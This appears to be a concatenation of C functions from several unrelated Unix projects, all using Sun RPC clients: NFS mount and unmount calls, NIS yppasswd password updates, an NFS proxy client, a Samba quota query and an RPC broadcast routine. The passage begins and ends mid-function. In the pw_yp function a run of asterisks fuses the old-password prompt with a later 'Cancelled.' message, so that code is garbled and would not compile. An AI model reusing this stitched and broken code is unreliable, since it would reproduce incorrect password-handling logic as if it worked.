mnt_pmap.pm_prog, mnt_pmap.pm_vers, &timeout); if (client == NULL) return 0; client->cl_auth = authunix_create_default(); res = CLNT_CALL(client, MOUNTPROC_UMNT, (xdrproc_t)xdr_dirpath, (caddr_t)argp, (xdrproc_t)xdr_void, NULL, timeout); auth_destroy(client->cl_auth); CLNT_DESTROY(client); if (res != RPC_SUCCESS) return 0; return 1; } /** * nfs_call_umount - ask the server to remove a share from it's rmtab * @mnt_server: address of RPC MNT program server * @argp: directory path of share to "unmount" * * Returns one if the unmount call succeeded; zero if the unmount * failed for any reason. * * Note that a side effect of calling this function is that rpccreateerr * is set. */ int nfs_call_umount(clnt_addr_t *mnt_server, dirpath *argp) { struct sockaddr *sap = (struct sockaddr *)&mnt_server->saddr; socklen_t salen = sizeof(mnt_server->saddr); struct pmap *pmap = &mnt_server->pmap; CLIENT *clnt; enum clnt_stat res = 0; int msock; if (!nfs_probe_mntport(sap, salen, pmap)) return 0; clnt = mnt_openclnt(mnt_server, &msock); if (!clnt) return 0; res = clnt_call(clnt, MOUNTPROC_UMNT, (xdrproc_t)xdr_dirpath, (caddr_t)argp, (xdrproc_t)xdr_void, NULL, TIMEOUT); mnt_closeclnt(clnt, msock); if (res == RPC_SUCCESS) return 1; return 0; } /** * mnt_openclnt - get a handle for a remote mountd service * @mnt_server: address and pmap arguments of mountd service * @msock: returns a file descriptor of the underlying transport socket * * Returns an active handle for the remote's mountd service */ CLIENT *mnt_openclnt(clnt_addr_t *mnt_server, int *msock) { struct sockaddr_in *mnt_saddr = &mnt_server->saddr; struct pmap *mnt_pmap = &mnt_server->pmap; CLIENT *clnt = NULL; mnt_saddr->sin_port = htons((u_short)mnt_pmap->pm_port); *msock = get_socket(mnt_saddr, mnt_pmap->pm_prot, MOUNT_TIMEOUT, TRUE, FALSE); if (*msock == RPC_ANYSOCK) { if (rpc_createerr.cf_error.re_errno == EADDRINUSE) /* * Probably in-use by a TIME_WAIT connection, * It is worth waiting a while and trying again. */ rpc_createerr.cf_stat = RPC_TIMEDOUT; return NULL; } switch (mnt_pmap->pm_prot) { case IPPROTO_UDP: clnt = clntudp_bufcreate(mnt_saddr, mnt_pmap->pm_prog, mnt_pmap->pm_vers, RETRY_TIMEOUT, msock, MNT_SENDBUFSIZE, MNT_RECVBUFSIZE); break; case IPPROTO_TCP: clnt = clnttcp_create(mnt_saddr, mnt_pmap->pm_prog, mnt_pmap->pm_vers, msock, MNT_SENDBUFSIZE, MNT_RECVBUFSIZE); break; } if (clnt) { /* try to mount hostname:dirname */ clnt->cl_auth = authunix_create_default(); return clnt; } return NULL; } /** * mnt_closeclnt - terminate a handle for a remote mountd service * @clnt: pointer to an active handle for a remote mountd service * @msock: file descriptor of the underlying transport socket * */ void mnt_closeclnt(CLIENT *clnt, int msock) { auth_destroy(clnt->cl_auth); clnt_destroy(clnt); close(msock); } /** * clnt_ping - send an RPC ping to the remote RPC service endpoint * @saddr: server's address * @prog: target RPC program number * @vers: target RPC version number * @prot: target RPC protocol * @caddr: filled in with our network address * * Sigh... GETPORT queries don't actually check the version number. * In order to make sure that the server actually supports the service * we're requesting, we open an RPC client, and fire off a NULL * RPC call. * * caddr is the network address that the server will use to call us back. * On multi-homed clients, this address depends on which NIC we use to * route requests to the server. * * Returns one if successful, otherwise zero. */ int clnt_ping(struct sockaddr_in *saddr, const unsigned long prog, const unsigned long vers, const unsigned int prot, struct sockaddr_in *caddr) { CLIENT *clnt = NULL; int sock, stat; static char clnt_res; struct sockaddr dissolve; rpc_createerr.cf_stat = stat = 0; sock = get_socket(saddr, prot, CONNECT_TIMEOUT, FALSE, TRUE); if (sock == RPC_ANYSOCK) { if (rpc_createerr.cf_error.re_errno == ETIMEDOUT) { /* * TCP timeout. Bubble up the error to see * how it should be handled. */ rpc_createerr.cf_stat = RPC_TIMEDOUT; } return 0; } if (caddr) { /* Get the address of our end of this connection */ socklen_t len = sizeof(*caddr); if (getsockname(sock, caddr, &len) != 0) caddr->sin_family = 0; } switch(prot) { case IPPROTO_UDP: /* The socket is connected (so we could getsockname successfully), * but some servers on multi-homed hosts reply from * the wrong address, so if we stay connected, we lose the reply. */ dissolve.sa_family = AF_UNSPEC; connect(sock, &dissolve, sizeof(dissolve)); clnt = clntudp_bufcreate(saddr, prog, vers, RETRY_TIMEOUT, &sock, RPCSMALLMSGSIZE, RPCSMALLMSGSIZE); break; case IPPROTO_TCP: clnt = clnttcp_create(saddr, prog, vers, &sock, RPCSMALLMSGSIZE, RPCSMALLMSGSIZE); break; } if (!clnt) { close(sock); return 0; } memset(&clnt_res, 0, sizeof(clnt_res)); stat = clnt_call(clnt, NULLPROC, (xdrproc_t)xdr_void, (caddr_t)NULL, (xdrproc_t)xdr_void, (caddr_t)&clnt_res, TIMEOUT); if (stat) { clnt_geterr(clnt, &rpc_createerr.cf_error); rpc_createerr.cf_stat = stat; } clnt_destroy(clnt); close(sock); if (stat == RPC_SUCCESS) return 1; else return 0; }
static int nfs_umount_rpc_call(const char *spec, const char *opts) { register CLIENT *clp; struct sockaddr_in saddr; struct timeval pertry, try; enum clnt_stat clnt_stat; int so = RPC_ANYSOCK; struct hostent *hostp; char *hostname; char *dirname; char *p; if (spec == NULL || (p = strchr(spec,':')) == NULL) return 0; hostname = xstrndup(spec, p-spec); dirname = xstrdup(p+1); #ifdef DEBUG printf("host: %s, directory: %s\n", hostname, dirname); #endif if (opts && (p = strstr(opts, "addr="))) { char *q; free(hostname); p += 5; q = p; while (*q && *q != ',') q++; hostname = xstrndup(p,q-p); } if (hostname[0] >= '0' && hostname[0] <= '9') saddr.sin_addr.s_addr = inet_addr(hostname); else { if ((hostp = gethostbyname(hostname)) == NULL) { fprintf(stderr, "umount: can't get address for %s\n", hostname); return 1; } if (hostp->h_length > sizeof(struct in_addr)) { fprintf(stderr, "umount: got bad hostp->h_length\n"); hostp->h_length = sizeof(struct in_addr); } memcpy(&saddr.sin_addr, hostp->h_addr, hostp->h_length); } saddr.sin_family = AF_INET; saddr.sin_port = 0; pertry.tv_sec = 3; pertry.tv_usec = 0; if ((clp = clntudp_create(&saddr, MOUNTPROG, MOUNTVERS, pertry, &so)) == NULL) { clnt_pcreateerror("Cannot MOUNTPROG RPC"); return (1); } clp->cl_auth = authunix_create_default(); try.tv_sec = 20; try.tv_usec = 0; clnt_stat = clnt_call(clp, MOUNTPROC_UMNT, (xdrproc_t) xdr_dir, dirname, (xdrproc_t) xdr_void, (caddr_t) 0, try); if (clnt_stat != RPC_SUCCESS) { clnt_perror(clp, "Bad UMNT RPC"); return (1); } auth_destroy(clp->cl_auth); clnt_destroy(clp); return (0); }
int pw_yp(struct passwd *pw, uid_t uid) { char uidbuf[20], gidbuf[20], *master, *p; int r, rpcport, status, alen; struct yppasswd yppasswd; struct timeval tv; CLIENT *client; /* * Get local domain */ if (!domain && (r = yp_get_default_domain(&domain))) { fprintf(stderr, "%s: can't get local YP domain. Reason: %s\n", __progname, yperr_string(r)); return(0); } /* * Find the host for the passwd map; it should be running * the daemon. */ if ((r = yp_master(domain, "passwd.byname", &master)) != 0) { fprintf(stderr, "%s: can't find the master YP server. Reason: %s\n", __progname, yperr_string(r)); return(0); } /* * Ask the portmapper for the port of the daemon. */ if ((rpcport = getrpcport(master, YPPASSWDPROG, YPPASSWDPROC_UPDATE, IPPROTO_UDP)) == 0) { fprintf(stderr, "%s: master YP server not running yppasswd daemon.\n", __progname); fprintf(stderr, "\tCan't change password.\n"); return(0); } /* * Be sure the port is privileged */ if (rpcport >= IPPORT_RESERVED) { (void)fprintf(stderr, "%s: yppasswd daemon running on an invalid port.\n", __progname); return(0); } /* prompt for old password */ bzero(&yppasswd, sizeof yppasswd); yppasswd.oldpass = "******"; yppasswd.oldpass = getpass("Old password:"******"Cancelled.\n"); return(0); } for (alen = 0, p = pw->pw_gecos; *p; p++) if (*p == '&') alen = alen + strlen(pw->pw_name) - 1; (void)snprintf(uidbuf, sizeof uidbuf, "%u", pw->pw_uid); (void)snprintf(gidbuf, sizeof gidbuf, "%u", pw->pw_gid); if (strlen(pw->pw_name) + 1 + strlen(pw->pw_passwd) + 1 + strlen(uidbuf) + 1 + strlen(gidbuf) + 1 + strlen(pw->pw_gecos) + alen + 1 + strlen(pw->pw_dir) + 1 + strlen(pw->pw_shell) >= 1023) { warnx("entries too long"); return (0); } /* tell rpc.yppasswdd */ yppasswd.newpw.pw_name = pw->pw_name; yppasswd.newpw.pw_passwd= pw->pw_passwd; yppasswd.newpw.pw_uid = pw->pw_uid; yppasswd.newpw.pw_gid = pw->pw_gid; yppasswd.newpw.pw_gecos = pw->pw_gecos; yppasswd.newpw.pw_dir = pw->pw_dir; yppasswd.newpw.pw_shell = pw->pw_shell; client = clnt_create(master, YPPASSWDPROG, YPPASSWDVERS, "udp"); if (client==NULL) { fprintf(stderr, "can't contact yppasswdd on %s: Reason: %s\n", master, yperr_string(YPERR_YPBIND)); return(1); } client->cl_auth = authunix_create_default(); tv.tv_sec = 5; tv.tv_usec = 0; r = clnt_call(client, YPPASSWDPROC_UPDATE, xdr_yppasswd, &yppasswd, xdr_int, &status, tv); if (r) { fprintf(stderr, "%s: rpc to yppasswdd failed. %d\n", __progname, r); clnt_destroy(client); return(1); } else if (status) { printf("Couldn't change YP password information.\n"); clnt_destroy(client); return(1); } printf("The YP password information has been changed on %s, the master YP passwd server.\n", master); clnt_destroy(client); return(0); }
fsal_status_t fsal_proxy_create_rpc_clnt(proxyfsal_op_context_t * ctx) { int sock; struct sockaddr_in addr_rpc; struct timeval timeout = TIMEOUTRPC; int rc; int priv_port = 0 ; fsal_status_t fsal_status; char addr[INET_ADDRSTRLEN]; memset(&addr_rpc, 0, sizeof(addr_rpc)); addr_rpc.sin_port = ctx->srv_port; addr_rpc.sin_family = AF_INET; addr_rpc.sin_addr.s_addr = ctx->srv_addr; if(!strcmp(ctx->srv_proto, "udp")) { struct timeval tv = { 25, 0}; if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) ReturnCode(ERR_FSAL_FAULT, errno); ctx->rpc_client = clntudp_bufcreate(&addr_rpc, ctx->srv_prognum, FSAL_PROXY_NFS_V4, tv, &sock, ctx->srv_sendsize, ctx->srv_recvsize); if(ctx->rpc_client == NULL) { LogCrit(COMPONENT_FSAL, "Cannot contact server addr=%s port=%u prognum=%u using NFSv4 protocol", inet_ntop(AF_INET, &ctx->srv_addr, addr, sizeof(addr)), ntohs(ctx->srv_port), ctx->srv_prognum); ReturnCode(ERR_FSAL_INVAL, 0); } } else if(!strcmp(ctx->srv_proto, "tcp")) { if( ctx->use_privileged_client_port == TRUE ) { if( (sock = rresvport( &priv_port ) )< 0 ) { LogCrit(COMPONENT_FSAL, "Cannot create a tcp socket on a privileged port"); ReturnCode(ERR_FSAL_FAULT, 0); } } else { if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { LogCrit(COMPONENT_FSAL, "Cannot create a tcp socket - %d", errno); ReturnCode(ERR_FSAL_FAULT, 0); } } if(connect(sock, (struct sockaddr *)&addr_rpc, sizeof(addr_rpc)) < 0) { LogCrit(COMPONENT_FSAL, "Cannot connect to server addr=%s port=%u", inet_ntop(AF_INET, &ctx->srv_addr, addr, sizeof(addr)), ntohs(ctx->srv_port)); ReturnCode(ERR_FSAL_FAULT, 0); } ctx->rpc_client = clnttcp_create(&addr_rpc, ctx->srv_prognum, FSAL_PROXY_NFS_V4, &sock, ctx->srv_sendsize, ctx->srv_recvsize); if(ctx->rpc_client == NULL) { LogCrit(COMPONENT_FSAL, "Cannot contact server addr=%s port=%u prognum=%u using NFSv4 protocol", inet_ntop(AF_INET, &ctx->srv_addr, addr, sizeof(addr)), ntohs(ctx->srv_port), ctx->srv_prognum); ReturnCode(ERR_FSAL_INVAL, 0); } } else { ReturnCode(ERR_FSAL_INVAL, 0); } ctx->socket = sock; #ifdef _USE_GSSRPC if(global_fsal_proxy_specific_info.active_krb5 == TRUE) { fsal_status = fsal_internal_set_auth_gss(ctx); if(FSAL_IS_ERROR(fsal_status)) ReturnCode(fsal_status.major, fsal_status.minor); } else #endif /* _USE_GSSRPC */ if((ctx->rpc_auth = authunix_create_default()) == NULL) ReturnCode(ERR_FSAL_INVAL, 0); /* test if the newly created context can 'ping' the server via PROC_NULL */ rc = clnt_call(ctx->rpc_client, ctx->rpc_auth, NFSPROC4_NULL, (xdrproc_t) xdr_void, (caddr_t) NULL, (xdrproc_t) xdr_void, (caddr_t) NULL, timeout); if(rc != RPC_SUCCESS) ReturnCode(ERR_FSAL_INVAL, rc); fsal_status = FSAL_proxy_setclientid(ctx); if(FSAL_IS_ERROR(fsal_status)) ReturnCode(ERR_FSAL_FAULT, 0); ReturnCode(ERR_FSAL_NO_ERROR, 0); }
static int yppasswd_local(ypclnt_t *ypclnt, const struct passwd *pwd) { struct master_yppasswd yppwd; struct rpc_err rpcerr; struct netconfig *nc = NULL; void *localhandle = NULL; CLIENT *clnt = NULL; int ret, *result; /* fill the master_yppasswd structure */ memset(&yppwd, 0, sizeof yppwd); yppwd.newpw.pw_uid = pwd->pw_uid; yppwd.newpw.pw_gid = pwd->pw_gid; yppwd.newpw.pw_change = pwd->pw_change; yppwd.newpw.pw_expire = pwd->pw_expire; yppwd.newpw.pw_fields = pwd->pw_fields; yppwd.oldpass = strdup(""); yppwd.domain = strdup(ypclnt->domain); if ((yppwd.newpw.pw_name = strdup(pwd->pw_name)) == NULL || (yppwd.newpw.pw_passwd = strdup(pwd->pw_passwd)) == NULL || (yppwd.newpw.pw_class = strdup(pwd->pw_class)) == NULL || (yppwd.newpw.pw_gecos = strdup(pwd->pw_gecos)) == NULL || (yppwd.newpw.pw_dir = strdup(pwd->pw_dir)) == NULL || (yppwd.newpw.pw_shell = strdup(pwd->pw_shell)) == NULL) { ypclnt_error(ypclnt, __func__, strerror(errno)); ret = -1; goto done; } /* connect to rpc.yppasswdd */ localhandle = setnetconfig(); while ((nc = getnetconfig(localhandle)) != NULL) { if (nc->nc_protofmly != NULL && strcmp(nc->nc_protofmly, NC_LOOPBACK) == 0) break; } if (nc == NULL) { ypclnt_error(ypclnt, __func__, "getnetconfig: %s", nc_sperror()); ret = -1; goto done; } if ((clnt = clnt_tp_create(NULL, MASTER_YPPASSWDPROG, MASTER_YPPASSWDVERS, nc)) == NULL) { ypclnt_error(ypclnt, __func__, "failed to connect to rpc.yppasswdd: %s", clnt_spcreateerror(ypclnt->server)); ret = -1; goto done; } clnt->cl_auth = authunix_create_default(); /* request the update */ result = yppasswdproc_update_master_1(&yppwd, clnt); /* check for RPC errors */ clnt_geterr(clnt, &rpcerr); if (rpcerr.re_status != RPC_SUCCESS) { ypclnt_error(ypclnt, __func__, "NIS password update failed: %s", clnt_sperror(clnt, ypclnt->server)); ret = -1; goto done; } /* check the result of the update */ if (result == NULL || *result != 0) { ypclnt_error(ypclnt, __func__, "NIS password update failed"); /* XXX how do we get more details? */ ret = -1; goto done; } ypclnt_error(ypclnt, NULL, NULL); ret = 0; done: if (clnt != NULL) { auth_destroy(clnt->cl_auth); clnt_destroy(clnt); } endnetconfig(localhandle); free(yppwd.newpw.pw_name); if (yppwd.newpw.pw_passwd != NULL) { memset(yppwd.newpw.pw_passwd, 0, strlen(yppwd.newpw.pw_passwd)); free(yppwd.newpw.pw_passwd); } free(yppwd.newpw.pw_class); free(yppwd.newpw.pw_gecos); free(yppwd.newpw.pw_dir); free(yppwd.newpw.pw_shell); if (yppwd.oldpass != NULL) { memset(yppwd.oldpass, 0, strlen(yppwd.oldpass)); free(yppwd.oldpass); } return (ret); }
int sys_get_nfs_quota(const char *path, const char *bdev, enum SMB_QUOTA_TYPE qtype, unid_t id, SMB_DISK_QUOTA *dp) { CLIENT *clnt = NULL; struct getquota_rslt gq_rslt; struct getquota_args gq_args; const char *mnttype; char *cutstr, *host, *testpath; int len; static struct timeval timeout = {2,0}; enum clnt_stat clnt_stat; int ret = -1; uint32_t qflags = 0; if (!path || !bdev || !dp) { smb_panic("sys_get_nfs_quota: called with NULL pointer"); } DEBUG(10, ("sys_get_nfs_quota: path[%s] bdev[%s] qtype[%d]\n", path, bdev, qtype)); ZERO_STRUCT(*dp); dp->qtype = qtype; if (qtype != SMB_USER_QUOTA_TYPE) { DEBUG(3, ("sys_get_nfs_quota: got unsupported quota type '%d', " "only supported type is '%d' (SMB_USER_QUOTA_TYPE)\n", qtype, SMB_USER_QUOTA_TYPE)); errno = ENOSYS; return -1; } mnttype = bdev; len = strcspn(mnttype, ":"); cutstr = (char *) SMB_MALLOC(len+1); if (cutstr == NULL) { errno = ENOMEM; return -1; } memset(cutstr, '\0', len+1); host = strncat(cutstr, mnttype, sizeof(char) * len); testpath = strchr_m(mnttype, ':'); if (testpath == NULL) { errno = EINVAL; goto out; } testpath++; gq_args.gqa_pathp = testpath; gq_args.gqa_uid = id.uid; DEBUG(10, ("sys_get_nfs_quotas: Asking for quota of path '%s' on " "host '%s', rpcprog '%i', rpcvers '%i', network '%s'\n", host, testpath+1, (int)RQUOTAPROG, (int)RQUOTAVERS, "udp")); clnt = clnt_create(host, RQUOTAPROG, RQUOTAVERS, "udp"); if (clnt == NULL) { ret = -1; goto out; } clnt->cl_auth = authunix_create_default(); if (clnt->cl_auth == NULL) { DEBUG(3, ("sys_get_nfs_quotas: authunix_create_default " "failed\n")); ret = -1; goto out; } clnt_stat = clnt_call(clnt, RQUOTAPROC_GETQUOTA, (const xdrproc_t) my_xdr_getquota_args, (caddr_t)&gq_args, (const xdrproc_t) my_xdr_getquota_rslt, (caddr_t)&gq_rslt, timeout); if (clnt_stat != RPC_SUCCESS) { if (errno == ECONNREFUSED) { /* If we cannot connect with rpc.quotad, it may * simply be because there's no quota on the remote * system */ DBG_INFO("clnt_call failed with ECONNREFUSED - " "assuming no quotas on server\n"); ret = 0; } else { int save_errno = errno; DBG_NOTICE("clnt_call failed - %s\n", strerror(errno)); errno = save_errno; ret = -1; } goto out; } DEBUG(10, ("sys_get_nfs_quotas: getquota_rslt:\n" "status : '%i'\n" "bsize : '%i'\n" "active : '%s'\n" "bhardlimit : '%u'\n" "bsoftlimit : '%u'\n" "curblocks : '%u'\n" "fhardlimit : '%u'\n" "fsoftlimit : '%u'\n" "curfiles : '%u'\n" "btimeleft : '%u'\n" "ftimeleft : '%u'\n", gq_rslt.GQR_STATUS, gq_rslt.GQR_RQUOTA.rq_bsize, gq_rslt.GQR_RQUOTA.rq_active?"yes":"no", gq_rslt.GQR_RQUOTA.rq_bhardlimit, gq_rslt.GQR_RQUOTA.rq_bsoftlimit, gq_rslt.GQR_RQUOTA.rq_curblocks, gq_rslt.GQR_RQUOTA.rq_fhardlimit, gq_rslt.GQR_RQUOTA.rq_fsoftlimit, gq_rslt.GQR_RQUOTA.rq_curfiles, gq_rslt.GQR_RQUOTA.rq_btimeleft, gq_rslt.GQR_RQUOTA.rq_ftimeleft)); /* * gqr.status returns * 1 if quotas exist, * 2 if there is no quota set, and * 3 if no permission to get the quota. */ switch (gq_rslt.GQR_STATUS) { case 1: DEBUG(10, ("sys_get_nfs_quotas: Good quota data\n")); dp->bsize = (uint64_t)gq_rslt.GQR_RQUOTA.rq_bsize; dp->softlimit = gq_rslt.GQR_RQUOTA.rq_bsoftlimit; dp->hardlimit = gq_rslt.GQR_RQUOTA.rq_bhardlimit; dp->curblocks = gq_rslt.GQR_RQUOTA.rq_curblocks; break; case 2: DEBUG(5, ("sys_get_nfs_quotas: No quota set\n")); SMB_QUOTAS_SET_NO_LIMIT(dp); break; case 3: DEBUG(3, ("sys_get_nfs_quotas: no permission to get quota\n")); errno = EPERM; ret = -1; goto out; default: DEBUG(5, ("sys_get_nfs_quotas: Unknown remote quota status " "code '%i'\n", gq_rslt.GQR_STATUS)); ret = -1; goto out; break; } dp->qflags = qflags; ret = 0; out: if (clnt) { if (clnt->cl_auth) { auth_destroy(clnt->cl_auth); } clnt_destroy(clnt); } SAFE_FREE(cutstr); DEBUG(10, ("sys_get_nfs_quotas: finished\n" )); return ret; }
static int yppasswd_remote(ypclnt_t *ypclnt, const struct passwd *pwd, const char *passwd) { struct yppasswd yppwd; struct rpc_err rpcerr; CLIENT *clnt = NULL; int ret, *result; /* fill the yppasswd structure */ memset(&yppwd, 0, sizeof yppwd); yppwd.newpw.pw_uid = pwd->pw_uid; yppwd.newpw.pw_gid = pwd->pw_gid; if ((yppwd.newpw.pw_name = strdup(pwd->pw_name)) == NULL || (yppwd.newpw.pw_passwd = strdup(pwd->pw_passwd)) == NULL || (yppwd.newpw.pw_gecos = strdup(pwd->pw_gecos)) == NULL || (yppwd.newpw.pw_dir = strdup(pwd->pw_dir)) == NULL || (yppwd.newpw.pw_shell = strdup(pwd->pw_shell)) == NULL || (yppwd.oldpass = strdup(passwd ? passwd : "")) == NULL) { ypclnt_error(ypclnt, __func__, strerror(errno)); ret = -1; goto done; } /* connect to rpc.yppasswdd */ clnt = clnt_create(ypclnt->server, YPPASSWDPROG, YPPASSWDVERS, "udp"); if (clnt == NULL) { ypclnt_error(ypclnt, __func__, "failed to connect to rpc.yppasswdd: %s", clnt_spcreateerror(ypclnt->server)); ret = -1; goto done; } clnt->cl_auth = authunix_create_default(); /* request the update */ result = yppasswdproc_update_1(&yppwd, clnt); /* check for RPC errors */ clnt_geterr(clnt, &rpcerr); if (rpcerr.re_status != RPC_SUCCESS) { ypclnt_error(ypclnt, __func__, "NIS password update failed: %s", clnt_sperror(clnt, ypclnt->server)); ret = -1; goto done; } /* check the result of the update */ if (result == NULL || *result != 0) { ypclnt_error(ypclnt, __func__, "NIS password update failed"); /* XXX how do we get more details? */ ret = -1; goto done; } ypclnt_error(ypclnt, NULL, NULL); ret = 0; done: if (clnt != NULL) { auth_destroy(clnt->cl_auth); clnt_destroy(clnt); } free(yppwd.newpw.pw_name); if (yppwd.newpw.pw_passwd != NULL) { memset(yppwd.newpw.pw_passwd, 0, strlen(yppwd.newpw.pw_passwd)); free(yppwd.newpw.pw_passwd); } free(yppwd.newpw.pw_gecos); free(yppwd.newpw.pw_dir); free(yppwd.newpw.pw_shell); if (yppwd.oldpass != NULL) { memset(yppwd.oldpass, 0, strlen(yppwd.oldpass)); free(yppwd.oldpass); } return (ret); }
/* * rpc_broadcast_exp() * * prog - program number * vers - version number * proc - procedure number * xargs - xdr routine for args * argsp - pointer to args * xresults - xdr routine for results * resultsp - pointer to results * eachresult - call with each result obtained * inittime - how long to wait initially * waittime - maximum time to wait * nettype - transport type */ enum clnt_stat rpc_broadcast_exp(rpcprog_t prog, rpcvers_t vers, rpcproc_t proc, xdrproc_t xargs, caddr_t argsp, xdrproc_t xresults, caddr_t resultsp, resultproc_t eachresult, int inittime, int waittime, const char *nettype) { enum clnt_stat stat = RPC_SUCCESS; /* Return status */ XDR xdr_stream; /* XDR stream */ XDR *xdrs = &xdr_stream; struct rpc_msg msg; /* RPC message */ struct timeval t; char *outbuf = NULL; /* Broadcast msg buffer */ char *inbuf = NULL; /* Reply buf */ int inlen; u_int maxbufsize = 0; AUTH *sys_auth = authunix_create_default(); u_int i; void *handle; char uaddress[1024]; /* A self imposed limit */ char *uaddrp = uaddress; int pmap_reply_flag; /* reply recvd from PORTMAP */ /* An array of all the suitable broadcast transports */ struct { int fd; /* File descriptor */ int af; int proto; struct netconfig *nconf; /* Netconfig structure */ u_int asize; /* Size of the addr buf */ u_int dsize; /* Size of the data buf */ struct sockaddr_storage raddr; /* Remote address */ broadlist_t nal; } fdlist[MAXBCAST]; struct pollfd pfd[MAXBCAST]; size_t fdlistno = 0; struct r_rpcb_rmtcallargs barg; /* Remote arguments */ struct r_rpcb_rmtcallres bres; /* Remote results */ size_t outlen; struct netconfig *nconf; int msec; int pollretval; int fds_found; #ifdef PORTMAP size_t outlen_pmap = 0; u_long port; /* Remote port number */ int pmap_flag = 0; /* UDP exists ? */ char *outbuf_pmap = NULL; struct rmtcallargs barg_pmap; /* Remote arguments */ struct rmtcallres bres_pmap; /* Remote results */ u_int udpbufsz = 0; #endif /* PORTMAP */ if (sys_auth == NULL) { return (RPC_SYSTEMERROR); } /* * initialization: create a fd, a broadcast address, and send the * request on the broadcast transport. * Listen on all of them and on replies, call the user supplied * function. */ if (nettype == NULL) nettype = "datagram_n"; if ((handle = __rpc_setconf(nettype)) == NULL) { AUTH_DESTROY(sys_auth); return (RPC_UNKNOWNPROTO); } while ((nconf = __rpc_getconf(handle)) != NULL) { int fd; struct __rpc_sockinfo si; if (nconf->nc_semantics != NC_TPI_CLTS) continue; if (fdlistno >= MAXBCAST) break; /* No more slots available */ if (!__rpc_nconf2sockinfo(nconf, &si)) continue; TAILQ_INIT(&fdlist[fdlistno].nal); if (__rpc_getbroadifs(si.si_af, si.si_proto, si.si_socktype, &fdlist[fdlistno].nal) == 0) continue; fd = _socket(si.si_af, si.si_socktype, si.si_proto); if (fd < 0) { stat = RPC_CANTSEND; continue; } fdlist[fdlistno].af = si.si_af; fdlist[fdlistno].proto = si.si_proto; fdlist[fdlistno].fd = fd; fdlist[fdlistno].nconf = nconf; fdlist[fdlistno].asize = __rpc_get_a_size(si.si_af); pfd[fdlistno].events = POLLIN | POLLPRI | POLLRDNORM | POLLRDBAND; pfd[fdlistno].fd = fdlist[fdlistno].fd = fd; fdlist[fdlistno].dsize = __rpc_get_t_size(si.si_af, si.si_proto, 0); if (maxbufsize <= fdlist[fdlistno].dsize) maxbufsize = fdlist[fdlistno].dsize; #ifdef PORTMAP if (si.si_af == AF_INET && si.si_proto == IPPROTO_UDP) { udpbufsz = fdlist[fdlistno].dsize; if ((outbuf_pmap = malloc(udpbufsz)) == NULL) { _close(fd); stat = RPC_SYSTEMERROR; goto done_broad; } pmap_flag = 1; } #endif /* PORTMAP */ fdlistno++; } if (fdlistno == 0) { if (stat == RPC_SUCCESS) stat = RPC_UNKNOWNPROTO; goto done_broad; } if (maxbufsize == 0) { if (stat == RPC_SUCCESS) stat = RPC_CANTSEND; goto done_broad; } inbuf = malloc(maxbufsize); outbuf = malloc(maxbufsize); if ((inbuf == NULL) || (outbuf == NULL)) { stat = RPC_SYSTEMERROR; goto done_broad; } /* Serialize all the arguments which have to be sent */ (void) gettimeofday(&t, NULL); msg.rm_xid = __RPC_GETXID(&t); msg.rm_direction = CALL; msg.rm_call.cb_rpcvers = RPC_MSG_VERSION; msg.rm_call.cb_prog = RPCBPROG; msg.rm_call.cb_vers = RPCBVERS; msg.rm_call.cb_proc = RPCBPROC_CALLIT; barg.prog = prog; barg.vers = vers; barg.proc = proc; barg.args.args_val = argsp; barg.xdr_args = xargs; bres.addr = uaddrp; bres.results.results_val = resultsp; bres.xdr_res = xresults; msg.rm_call.cb_cred = sys_auth->ah_cred; msg.rm_call.cb_verf = sys_auth->ah_verf; xdrmem_create(xdrs, outbuf, maxbufsize, XDR_ENCODE); if ((!xdr_callmsg(xdrs, &msg)) || (!xdr_rpcb_rmtcallargs(xdrs, (struct rpcb_rmtcallargs *)(void *)&barg))) { stat = RPC_CANTENCODEARGS; goto done_broad; } outlen = xdr_getpos(xdrs); xdr_destroy(xdrs); #ifdef PORTMAP /* Prepare the packet for version 2 PORTMAP */ if (pmap_flag) { msg.rm_xid++; /* One way to distinguish */ msg.rm_call.cb_prog = PMAPPROG; msg.rm_call.cb_vers = PMAPVERS; msg.rm_call.cb_proc = PMAPPROC_CALLIT; barg_pmap.prog = prog; barg_pmap.vers = vers; barg_pmap.proc = proc; barg_pmap.args_ptr = argsp; barg_pmap.xdr_args = xargs; bres_pmap.port_ptr = &port; bres_pmap.xdr_results = xresults; bres_pmap.results_ptr = resultsp; xdrmem_create(xdrs, outbuf_pmap, udpbufsz, XDR_ENCODE); if ((! xdr_callmsg(xdrs, &msg)) || (! xdr_rmtcall_args(xdrs, &barg_pmap))) { stat = RPC_CANTENCODEARGS; goto done_broad; } outlen_pmap = xdr_getpos(xdrs); xdr_destroy(xdrs); } #endif /* PORTMAP */ /* * Basic loop: broadcast the packets to transports which * support data packets of size such that one can encode * all the arguments. * Wait a while for response(s). * The response timeout grows larger per iteration. */ for (msec = inittime; msec <= waittime; msec += msec) { struct broadif *bip; /* Broadcast all the packets now */ for (i = 0; i < fdlistno; i++) { if (fdlist[i].dsize < outlen) { stat = RPC_CANTSEND; continue; } for (bip = TAILQ_FIRST(&fdlist[i].nal); bip != NULL; bip = TAILQ_NEXT(bip, link)) { void *addr; addr = &bip->broadaddr; __rpc_broadenable(fdlist[i].af, fdlist[i].fd, bip); /* * Only use version 3 if lowvers is not set */ if (!__rpc_lowvers) if (_sendto(fdlist[i].fd, outbuf, outlen, 0, (struct sockaddr*)addr, (size_t)fdlist[i].asize) != outlen) { #ifdef RPC_DEBUG perror("sendto"); #endif warnx("clnt_bcast: cannot send " "broadcast packet"); stat = RPC_CANTSEND; continue; } #ifdef RPC_DEBUG if (!__rpc_lowvers) fprintf(stderr, "Broadcast packet sent " "for %s\n", fdlist[i].nconf->nc_netid); #endif #ifdef PORTMAP /* * Send the version 2 packet also * for UDP/IP */ if (pmap_flag && fdlist[i].proto == IPPROTO_UDP) { if (_sendto(fdlist[i].fd, outbuf_pmap, outlen_pmap, 0, addr, (size_t)fdlist[i].asize) != outlen_pmap) { warnx("clnt_bcast: " "Cannot send broadcast packet"); stat = RPC_CANTSEND; continue; } } #ifdef RPC_DEBUG fprintf(stderr, "PMAP Broadcast packet " "sent for %s\n", fdlist[i].nconf->nc_netid); #endif #endif /* PORTMAP */ } /* End for sending all packets on this transport */ } /* End for sending on all transports */ if (eachresult == NULL) { stat = RPC_SUCCESS; goto done_broad; } /* * Get all the replies from these broadcast requests */ recv_again: switch (pollretval = _poll(pfd, fdlistno, msec)) { case 0: /* timed out */ stat = RPC_TIMEDOUT; continue; case -1: /* some kind of 